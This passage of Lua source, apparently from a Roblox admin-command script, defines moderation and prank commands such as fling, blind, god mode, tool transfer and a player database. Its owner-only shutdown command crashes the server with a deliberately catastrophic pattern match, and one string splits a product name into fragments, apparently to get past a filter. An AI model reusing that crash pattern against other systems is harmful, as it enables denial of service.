6314 if Request.AssetTypeId == 3 then
6315 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6316 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6317 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6318 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6319 else
6320 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6321 end
6322 end
6323 end};
6324
6325 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6326 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6327 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6328 CustomSounds = {}
6329 end
6330
6331 local Removed = {}
6332 for Num,Data in pairs(CustomSounds) do
6333 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6334 table.insert(Removed, Data[1])
6335 table.remove(CustomSounds, Num)
6336 end
6337 end
6338
6339 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6340
6341 SOUND:SyncSoundList()
6342
6343 if #Removed > 0 then
6344 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6345 else
6346 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6347 end
6348 end};
6349
6350 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6351 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6352 if Answer == "Yes" then
6353 Server.GDS:SetAsync("MML Custom Sounds", {})
6354 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6355 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6356 end
6357 end};
6358
6359 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6360 local Players = STRING:Scan(Arguments[1], Speaker)
6361 local SpeakerTesting = false
6362 for _,Player in pairs(Players) do
6363 if Player == Speaker then SpeakerTesting = true end
6364 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6365 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6366 --wait(10)
6367 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6368 end)() end
6369 end
6370 if SpeakerTesting == false then
6371 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6372 end
6373 end};
6374
6375 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6376 local Players = STRING:Scan(Arguments[1], Speaker)
6377 local Compile = {}
6378 for _,Player in pairs(Players) do
6379 local PlayerInfo = ClientInfo[Player.Name]
6380 if PlayerInfo then
6381 if PlayerInfo.Benchmark then
6382 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6383 else
6384 table.insert(Compile, Player.Name..": No score")
6385 end
6386 end
6387 end
6388 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6389 end};
6390
6391 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6392 local Players = STRING:Scan(Arguments[1], Speaker)
6393 for _,Player in pairs(Players) do
6394 CORE:Chatted(Arguments[2], Player, true)
6395 end
6396 end};
6397
6398 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6399 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6400 end};
6401
6402 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6403 local Players = STRING:Scan(Arguments[1], Speaker)
6404 for _,Player in pairs(Players) do
6405 if Player.Character ~= nil then
6406 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6407 if Player.Character.Torso:FindFirstChild("Neck") then
6408 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6409 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6410 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6411 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6412 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6413 end
6414 end
6415 end
6416 end
6417 end};
6418
6419 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6420 local Players = STRING:Scan(Arguments[1], Speaker)
6421 for _,Player in pairs(Players) do
6422 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6423 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6424 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6425 end
6426 end
6427 end};
6428
6429 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6430 local Players = STRING:Scan(Arguments[1], Speaker)
6431 for _,Player in pairs(Players) do
6432 local _,RankNum = RANK:GetRank(Player)
6433 if RankNum <= RANK:ConvertRank(Rank) then
6434 CORE:FlingPlayer(Player)
6435 end
6436 end
6437 end};
6438
6439 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6440 local Players = STRING:Scan(Arguments[1], Speaker)
6441 for _,Player in pairs(Players) do
6442 local _,RankNum = RANK:GetRank(Player)
6443 if RankNum <= RANK:ConvertRank(Rank) then
6444 Flings[Player.Name] = true
6445 CORE:FlingPlayer(Player)
6446 end
6447 end
6448 end};
6449
6450 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6451 local Players = STRING:Scan(Arguments[1], Speaker)
6452 for _,Player in pairs(Players) do
6453 local _,RankNum = RANK:GetRank(Player)
6454 if RankNum <= RANK:ConvertRank(Rank) then
6455 Flings[Player.Name] = nil
6456 end
6457 end
6458 end};
6459
6460 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6461 local Players = STRING:Scan(Arguments[1], Speaker)
6462 for _,Player in pairs(Players) do
6463 CORE:Nuke(Player)
6464 end
6465 end};
6466
6467 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6468 local Players = STRING:Scan(Arguments[1], Speaker)
6469 for _,Player in pairs(Players) do
6470 Beeps[Player.Name] = true
6471 SOUND:BeepPlayer(Player)
6472 end
6473 end};
6474
6475 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6476 local Players = STRING:Scan(Arguments[1], Speaker)
6477 for _,Player in pairs(Players) do
6478 if Player.PlayerGui then
6479 Beeps[Player.Name] = nil
6480 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6481 if Obj.Name == "Annoy" then
6482 Obj:Stop()
6483 Obj:Destroy()
6484 end
6485 end
6486 end
6487 end
6488 end};
6489
6490 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6491 local Time = Arguments[1]
6492 if Time == "day" or Time == "noon" then Time = "12" end
6493 if Time == "night" or Time == "midnight" then Time = "0" end
6494 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6495 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6496 if Time == "afternoon" then Time = "15:30" end
6497 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6498 end};
6499
6500 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6501 local Players = STRING:Scan(Arguments[1], Speaker)
6502 for _,Player in pairs(Players) do
6503 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6504 end
6505 end};
6506
6507 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6508 local AbuseMode = false
6509 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6510 local Players = STRING:Scan(Arguments[1], Speaker)
6511 for _,Player in pairs(Players) do
6512 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6513 end
6514 end};
6515
6516 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6517 local Players = STRING:Scan(Arguments[1], Speaker)
6518 for _,Player in pairs(Players) do
6519 CORE:Insert(125013769, Player.Backpack, true)
6520 end
6521 end};
6522
6523 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6524 local Players = STRING:Scan(Arguments[1], Speaker)
6525 for _,Player in pairs(Players) do
6526 if Player.Character then
6527 CORE:Insert(Arguments[2], Player.Character, true, {"Hat"})
6528 end
6529 end
6530 end};
6531
6532 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6533 CORE:ResetLighting()
6534 repeat
6535 Server.Lighting.Ambient = Color3.new(1,1,1)
6536 Server.Lighting.FogColor = Color3.new(1,1,1)
6537 Server.Lighting.Brightness = 1
6538 Server.Lighting.TimeOfDay = 14
6539 wait(0.1)
6540 Server.Lighting.Ambient = Color3.new(0,0,0)
6541 Server.Lighting.FogColor = Color3.new(0,0,0)
6542 Server.Lighting.Brightness = 0
6543 Server.Lighting.TimeOfDay = 0
6544 wait(0.1)
6545 until ModLighting == false
6546 end};
6547
6548 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6549 CORE:ResetLighting()
6550 repeat
6551 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6552 Server.Lighting.Ambient = Color
6553 Server.Lighting.FogColor = Color
6554 Server.Lighting.TimeOfDay = 0
6555 Server.Lighting.FogEnd = 500
6556 wait(0.1)
6557 until ModLighting == false
6558 end};
6559
6560 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6561 CORE:FixLighting()
6562 end};
6563
6564 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6565 local Players = STRING:Scan(Arguments[1], Speaker)
6566 for _,Player in pairs(Players) do
6567 if Player:FindFirstChild("PlayerGui") then
6568 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6569 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6570 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6571 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6572 end
6573 end
6574 end};
6575
6576 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6577 local Players = STRING:Scan(Arguments[1], Speaker)
6578 for _,Player in pairs(Players) do
6579 if Player:FindFirstChild("PlayerGui") then
6580 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6581 end
6582 end
6583 end};
6584
6585 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6586 local Players = STRING:Scan(Arguments[1], Speaker)
6587 for _,Player in pairs(Players) do
6588 if Player:FindFirstChild("PlayerGui") then
6589 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6590 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6591 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6592 end
6593 end
6594 end};
6595
6596 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6597 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6598 if Suc then
6599 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6600 else
6601 Server.TS:Teleport(game.PlaceId, Speaker)
6602 end
6603 end};
6604
6605 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6606 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6607 end};
6608
6609 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6610 local NewAbuse = Arguments[1]
6611 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6612 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6613 end
6614
6615 local Match = false
6616 for _,AbuseCmd in pairs(Settings.AbuseList) do
6617 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6618 Match = true
6619 break
6620 end
6621 end
6622 if not Match then
6623 table.insert(Settings.AbuseList, NewAbuse)
6624 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6625 else
6626 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6627 end
6628 CORE:SetAbuseCommands()
6629 end};
6630
6631 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6632 local NewAbuse = Arguments[1]
6633 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6634 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6635 end
6636
6637 local Removed = false
6638 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6639 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6640 Removed = true
6641 table.remove(Settings.AbuseList, Num)
6642 end
6643 end
6644 if Removed then
6645 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6646 else
6647 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6648 end
6649 CORE:SetAbuseCommands()
6650 end};
6651
6652 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6653 local Players = STRING:Scan(Arguments[1], Speaker)
6654 for _,Player in pairs(Players) do
6655 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6656 Player.Character.Humanoid.MaxHealth = math.huge
6657 Player.Character.Humanoid.Health = math.huge
6658 end
6659 end
6660 end};
6661
6662 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6663 local Players = STRING:Scan(Arguments[1], Speaker)
6664 for _,Player in pairs(Players) do
6665 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6666 if Player.Character.Humanoid.MaxHealth == math.huge then
6667 Player.Character.Humanoid.MaxHealth = 100
6668 Player.Character.Humanoid.Health = 100
6669 else
6670 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6671 end
6672 end
6673 end
6674 end};
6675
6676 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6677 local Players = STRING:Scan(Arguments[1], Speaker)
6678 for _,Player in pairs(Players) do
6679 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6680 local Char = Player.Character
6681 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6682 end
6683 end
6684 end};
6685
6686 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6687 if tonumber(Arguments[2]) then
6688 local Players = STRING:Scan(Arguments[1], Speaker)
6689 for _,Player in pairs(Players) do
6690 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6691 Player.Character.Humanoid.Health = Arguments[2]
6692 end
6693 end
6694 end
6695 end};
6696
6697 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6698 if tonumber(Arguments[2]) then
6699 local Players = STRING:Scan(Arguments[1], Speaker)
6700 for _,Player in pairs(Players) do
6701 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6702 local Speed = tonumber(Arguments[2])
6703 if Speed then
6704 if Rank == "Member" then
6705 if Speed > 1000 then Speed = 1000
6706 elseif Speed < -1000 then Speed = -1000 end
6707 end
6708 Player.Character.Humanoid.WalkSpeed = Speed
6709 end
6710 end
6711 end
6712 end
6713 end};
6714
6715 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6716 if tonumber(Arguments[2]) then
6717 local Players = STRING:Scan(Arguments[1], Speaker)
6718 for _,Player in pairs(Players) do
6719 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6720 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6721 end
6722 end
6723 end
6724 end};
6725
6726 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6727 local Players = STRING:Scan(Arguments[1], Speaker)
6728 for _,Player in pairs(Players) do
6729 CORE:Fly(Player, 10000)
6730 end
6731 end};
6732
6733 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6734 local Players = STRING:Scan(Arguments[1], Speaker)
6735 for _,Player in pairs(Players) do
6736 CORE:Fly(Player, 1000000)
6737 end
6738 end};
6739
6740 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6741 local Players = STRING:Scan(Arguments[1], Speaker)
6742 for _,Player in pairs(Players) do
6743 if Player.Character then
6744 if Player.Character:FindFirstChild("StopMMLFly") then
6745 Player.Character.StopMMLFly:InvokeClient(Player)
6746 end
6747 end
6748 end
6749 end};
6750
6751 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6752 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6753 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6754 end};
6755
6756 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6757 local Players = STRING:Scan(Arguments[1], Speaker)
6758 for _,Player in pairs(Players) do
6759 CORE:GiveTools(Player, Arguments[2])
6760 end
6761 end};
6762
6763 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6764 local List = {}
6765 for _,Region in pairs(ToolRegions) do
6766 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6767 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6768 end)
6769 end
6770
6771 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6772 end};
6773
6774 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6775 local Players = STRING:Scan(Arguments[1], Speaker)
6776 for _,Player in pairs(Players) do
6777 CORE:GiveTools(Player, "btools")
6778 end
6779 end};
6780
6781 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6782 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6783 for _,Player in pairs(Server.Players:GetPlayers()) do
6784 Player:Kick()
6785 end
6786 Server.Workspace:ClearAllChildren()
6787 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6788 end};
6789
6790 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6791 local Players = STRING:Scan(Arguments[1], Speaker)
6792 for _,Player in pairs(Players) do
6793 CORE:Scale(Player, Arguments[2])
6794 end
6795 end};
6796
6797 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6798 local Players = STRING:Scan(Arguments[1], Speaker)
6799 for _,Player in pairs(Players) do
6800 CORE:Scale(Player, 50)
6801 end
6802 end};
6803
6804 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6805 local Players = STRING:Scan(Arguments[1], Speaker)
6806 for _,Player in pairs(Players) do
6807 CORE:Scale(Player, 70)
6808 end
6809 end, Hidden = true};
6810
6811 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6812 local Players = STRING:Scan(Arguments[1], Speaker)
6813 for _,Player in pairs(Players) do
6814 CORE:Scale(Player, 500)
6815 end
6816 end};
6817
6818 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6819 local Players = STRING:Scan(Arguments[1], Speaker)
6820 for _,Player in pairs(Players) do
6821 if Player.Character then
6822 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6823 Obj.Reflectance = 0.5
6824 Obj.BrickColor = BrickColor.new("New Yeller")
6825 end)
6826 end
6827 end
6828 end};
6829
6830 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6831 local Players = STRING:Scan(Arguments[1], Speaker)
6832 for _,Player in pairs(Players) do
6833 if Player.Character then
6834 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6835 Obj.Reflectance = 0.5
6836 end)
6837 end
6838 end
6839 end};
6840
6841 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6842 local Players = STRING:Scan(Arguments[1], Speaker)
6843 for _,Player in pairs(Players) do
6844 if Player.Character then
6845 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6846 Obj.Transparency = 0.5
6847 Obj.Reflectance = 0
6848 Obj.BrickColor = BrickColor.new("Institutional white")
6849 end)
6850 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6851 Obj.Transparency = 0.5
6852 end)
6853 end
6854 end
6855 end};
6856
6857 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6858 local Players = STRING:Scan(Arguments[1], Speaker)
6859 for _,Player in pairs(Players) do
6860 if Player.Character then
6861 for _,Obj in pairs(Player.Character:GetChildren()) do
6862 local Valid = false
6863 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6864 if Valid == true then Obj:Destroy() end
6865 end
6866 end
6867 end
6868 end};
6869
6870 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6871 local Players = STRING:Scan(Arguments[1], Speaker)
6872 for _,Player in pairs(Players) do
6873 if Player.Character then
6874 for _,Obj in pairs(Player.Character:GetChildren()) do
6875 local Valid = false
6876 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6877 if Valid == true then Obj:Destroy() end
6878 end
6879 end
6880 end
6881 end};
6882
6883 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6884 local Players = STRING:Scan(Arguments[1], Speaker)
6885 for _,Player in pairs(Players) do
6886 if Player.Character then
6887 for _,Obj in pairs(Player.Character:GetChildren()) do
6888 local Valid = false
6889 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6890 if Valid == true then Obj:Destroy() end
6891 end
6892 end
6893 end
6894 end};
6895
6896 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6897 local Players = STRING:Scan(Arguments[1], Speaker)
6898 for _,Player in pairs(Players) do
6899 if Player.Character then
6900 for _,Obj in pairs(Player.Character:GetChildren()) do
6901 if Obj:IsA("Hat") then
6902 Obj:Destroy()
6903 end
6904 end
6905 end
6906 end
6907 end};
6908
6909 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6910 local Players = STRING:Scan(Arguments[1], Speaker)
6911 for _,Player in pairs(Players) do
6912 Player:ClearCharacterAppearance()
6913 end
6914 end};
6915
6916 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6917 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
6918 local TmpPlayers = {}
6919 local Output = {}
6920 for _,Data in pairs(Players) do
6921 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6922 end
6923 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6924 end};
6925
6926 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6927 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
6928 GUI:SendHint(Speaker, "Player Database cleared", 5)
6929 end};
6930
6931 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6932 local Players = STRING:Scan(Arguments[1], Speaker)
6933 for _,Player in pairs(Players) do
6934 GUI:FakeHack(Player)
6935 end
6936 end};
6937
6938 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6939 local Players = STRING:Scan(Arguments[1], Speaker)
6940 for _,Player in pairs(Players) do
6941 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6942 for _,Object in pairs(Player.Backpack:GetChildren()) do
6943 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6944 local Clone = Object:Clone()
6945 Clone.Parent = Speaker.Backpack
6946 end
6947 end
6948 end
6949 end
6950 end};
6951
6952 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6953 local Players = STRING:Scan(Arguments[1], Speaker)
6954 for _,Player in pairs(Players) do
6955 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6956 for _,Object in pairs(Player.Backpack:GetChildren()) do
6957 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6958 Object.Parent = Speaker.Backpack
6959 end
6960 end
6961 end
6962 end
6963 end};
6964
6965 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6966 local Players = STRING:Scan(Arguments[1], Speaker)
6967 for _,Player in pairs(Players) do
6968 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6969 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6970 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6971 local Clone = Object:Clone()
6972 Clone.Parent = Player.Backpack
6973 end
6974 end
